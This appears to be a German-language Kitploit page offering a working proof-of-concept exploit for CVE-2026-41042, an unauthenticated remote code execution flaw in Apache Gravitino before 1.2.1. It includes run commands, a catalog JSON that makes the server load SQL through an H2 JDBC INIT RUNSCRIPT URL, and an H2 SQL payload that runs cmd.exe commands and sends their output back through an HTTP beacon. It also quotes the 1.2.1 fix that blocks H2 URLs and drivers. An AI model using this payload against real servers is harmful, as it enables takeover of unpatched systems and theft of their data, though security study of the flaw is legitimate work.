cve-2026-41042 — Nutzt eine nicht authentifizierte RCE in Apache Gravitino < 1.2.1 über H2 JDBC INIT aus; hostet SQL/Java-Payloads, führt Befehle aus und exfiltriert die Ausgabe über einen HTTP-Beacon. | Kitploit

CVE-2026-41042: Apache Gravitino < 1.2.1 Unauth RCE

Eigenständiger Proof of Concept, der nur die Standardbibliothek verwendet, für CVE-2026-41042: nicht authentifizierte Remote-Codeausführung in Apache Gravitino vor 1.2.1 über die H2-JDBC-INIT-Verbindungseinstellung. Keine Auth-Header, keine zusätzlichen Treiber, kein pip install.

python3 poc_cve-2026-41042.py http://127.0.0.1:8090 --metalake test_ml --cmd whoami

Das Skript hostet das SQL-Payload und ein Output-Beacon, sendet die testConnection-Anfrage und gibt die Standardausgabe des Befehls direkt aus.

CVE zugewiesen am 08.07.2026, gutgeschrieben Junjie Li (Xidian University). Dies ist der erste öffentlich funktionierende PoC für das Problem. PoC von Akinlabi.

Betroffene Versionen

Option	Standard	Beschreibung
`target`	(erforderlich)	Gravitino-Server, z. B. `http://127.0.0.1:8090`
`--metalake`	`test_ml`	Metalake, unter dem der Katalog getestet wird
`--cmd`	`whoami`	Auf dem Ziel auszuführender Befehl
`--port`	`9000`	Lokaler Port für den Payload- und Beacon-HTTP-Server

# Standardlauf: whoami gegen den test_ml-Metalake
python3 poc_cve-2026-41042.py http://127.0.0.1:8090

# Benutzerdefinierter Befehl gegen einen benannten Metalake
python3 poc_cve-2026-41042.py http://10.0.0.5:8090 --metalake zeroauth_ml --cmd "ipconfig"

{
  "name": "h2rce",
  "type": "RELATIONAL",
  "provider": "jdbc-mysql",
  "properties": {
    "jdbc-url": "jdbc:h2:mem:t3f9a2c1;INIT=RUNSCRIPT FROM 'http://127.0.0.1:9000/poc.sql'",
    "jdbc-user": "sa",
    "jdbc-password": "",
    "jdbc-driver": "org.h2.Driver"
  }
}

CREATE ALIAS IF NOT EXISTS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
  Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
  java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
  String l; StringBuilder sb = new StringBuilder();
  while ((l = br.readLine()) != null) sb.append(l).append("\n");
  br.close();
  return sb.toString();
}
$$;
CREATE ALIAS IF NOT EXISTS BEACON AS $$
String beacon(String s) throws java.io.IOException {
  java.net.URL u = new java.net.URL("http://127.0.0.1:9000/beacon?out=" + java.net.URLEncoder.encode(s, "UTF-8"));
  u.openConnection().getInputStream().close();
  return s;
}
$$;
CALL BEACON(SHELLEXEC('whoami'));

String decodedUrl = recursiveDecode(jdbcConfig.getJdbcUrl().toLowerCase());
if (decodedUrl.startsWith("jdbc:h2")) {
  throw new GravitinoRuntimeException("H2 JDBC URL is not allowed in catalog configuration");
}
if (jdbcConfig.getJdbcDriver().toLowerCase().startsWith("org.h2.")) {
  throw new GravitinoRuntimeException("H2 JDBC driver is not allowed in catalog configuration");
}

Verwundbar	Apache Gravitino < 1.2.1 (`gravitino-catalog-jdbc-common`)
Behoben	1.2.1
Advisory	https://lists.apache.org/thread/vdh88wc6j5b38v65ncb111wbbnkf6bvm

cve-2026-41042

Beliebteste

Grundursache

Verwendung

So funktioniert es

Zweiter Einstiegspunkt: persistentes Payload über createCatalog

Analyse des Fixes (1.2.1)

Auswirkungsbewertung

Einschränkungen

Haftungsausschluss